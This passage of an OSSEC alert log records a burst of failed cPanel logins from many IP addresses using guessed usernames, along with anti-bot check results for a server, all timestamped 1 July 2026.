[2026-07-01 21:55:37 +0000] info [cpaneld] 31.134.9.155 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.18.127.107
country_id: 6252001
description:
[2026-07-01 21:55:38 +0000] info [cpaneld] 212.18.127.107 - xobnztem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user xobnztem (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.177.94.241
country_id: 6252001
description:
93.177.94.241 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935765&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.177.94.241


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.87.218.62
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 212.87.218.62 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.9.155
country_id: 241170
description:
31.134.9.155 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131812&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.9.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.13.139
country_id: 241170
description:
31.134.13.139 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002904&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.13.139


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.11.80
country_id: 241170
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 31.134.11.80 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.12.42
country_id: 241170
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 31.134.12.42 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 162.252.54.254
country_id: 6252001
description:
162.252.54.254 - - [01/Jul/2026:21:55:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872131&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942937 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:162.252.54.254


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.97.119.196
country_id: 6252001
description:
[2026-07-01 21:55:38 +0000] info [cpaneld] 83.97.119.196 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 167.253.16.87
country_id: 6252001
description:
167.253.16.87 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792147&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.253.16.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.147.232.238
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 45.147.232.238 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 46.253.131.133
country_id: 6252001
description:
46.253.131.133 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13277586&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.253.131.133


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.0.34
country_id: 241170
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 31.134.0.34 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.42.245.20
country_id: 6252001
description:
[2026-07-01 21:55:38 +0000] info [cpaneld] 193.42.245.20 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 45.147.232.91
country_id: 6252001
description:
45.147.232.91 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973385&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.147.232.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.180.233.125
country_id: 6252001
description:
194.180.233.125 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841753&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.180.233.125


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 193.202.16.137
country_id: 6252001
description:
193.202.16.137 - - [01/Jul/2026:21:55:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10186131&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.202.16.137


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 83.97.118.224
country_id: 6252001
description:
83.97.118.224 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212307&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:83.97.118.224


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.42.245.20
country_id: 6252001
description:
193.42.245.20 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13016776&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.42.245.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.70.234.197
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 194.70.234.197 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.204.49.90
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 62.204.49.90 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.97.118.224
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 83.97.118.224 - xobnztem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user xobnztem (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.235.2.141
country_id: 6252001
description:
140.235.2.141 - - [01/Jul/2026:21:55:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999465&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.235.2.141


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.94.32.178
country_id: 2017370
description:
185.94.32.178 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181719&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.94.32.178


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 88.218.46.223
country_id: 6252001
description:
88.218.46.223 - - [01/Jul/2026:21:55:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184343&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942937 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:88.218.46.223


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.235.2.122
country_id: 6252001
description:
140.235.2.122 - - [01/Jul/2026:21:55:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050903&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.235.2.122


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 140.235.0.55
country_id: 6252001
description:
[2026-07-01 21:55:45 +0000] info [cpaneld] 140.235.0.55 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.247.163.166
country_id: 6252001
description:
91.247.163.166 - - [01/Jul/2026:21:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393964&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942936 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.247.163.166


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.101.67.233
country_id: 6252001
description:
192.101.67.233 - - [01/Jul/2026:21:55:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724461&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942937 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.101.67.233


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.142.38.238
country_id: 6252001
description:
[2026-07-01 21:55:38 +0000] info [cpaneld] 193.142.38.238 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.101.67.233
country_id: 6252001
description:
[2026-07-01 21:55:41 +0000] info [cpaneld] 192.101.67.233 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.180.233.125
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 194.180.233.125 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.177.94.141
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 93.177.94.141 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.141.128.52
country_id: 6252001
description:
45.141.128.52 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594054&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.141.128.52


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.2.213
country_id: 241170
description:
31.134.2.213 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000023&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.2.213


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.133.113.89
country_id: 6252001
description:
45.133.113.89 - - [01/Jul/2026:21:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9530008&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942936 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.133.113.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.18.127.107
country_id: 6252001
description:
212.18.127.107 - - [01/Jul/2026:21:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923478&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942936 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.18.127.107


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 64.49.37.204
country_id: 6252001
description:
64.49.37.204 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289366&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:64.49.37.204


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.87.218.62
country_id: 6252001
description:
212.87.218.62 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13147027&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.87.218.62


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.177.94.141
country_id: 6252001
description:
93.177.94.141 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580845&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.177.94.141


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.14.197
country_id: 241170
description:
31.134.14.197 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393450&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.14.197


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.2.213
country_id: 241170
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 31.134.2.213 - xobnztem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user xobnztem (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.94.35.198
country_id: 2017370
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 185.94.35.198 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.163.89.149
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 193.163.89.149 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.147.232.238
country_id: 6252001
description:
45.147.232.238 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051872&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.147.232.238


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.147.235.30
country_id: 6252001
description:
45.147.235.30 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593947&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.147.235.30


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.49.39.49
country_id: 6252001
description:
[2026-07-01 21:55:44 +0000] info [cpaneld] 64.49.39.49 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 140.235.2.141
country_id: 6252001
description:
[2026-07-01 21:55:44 +0000] info [cpaneld] 140.235.2.141 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.94.35.198
country_id: 2017370
description:
185.94.35.198 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937875&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.94.35.198


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.94.32.88
country_id: 2017370
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 185.94.32.88 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.13.139
country_id: 241170
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 31.134.13.139 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 167.253.19.108
country_id: 6252001
description:
167.253.19.108 - - [01/Jul/2026:21:55:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195866&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942939 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.253.19.108


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.177.94.241
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 93.177.94.241 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.180.232.236
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 194.180.232.236 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.70.234.197
country_id: 6252001
description:
194.70.234.197 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9530479&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.70.234.197


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 94.154.113.186
country_id: 6252001
description:
94.154.113.186 - - [01/Jul/2026:21:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132847&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942937 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:94.154.113.186


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
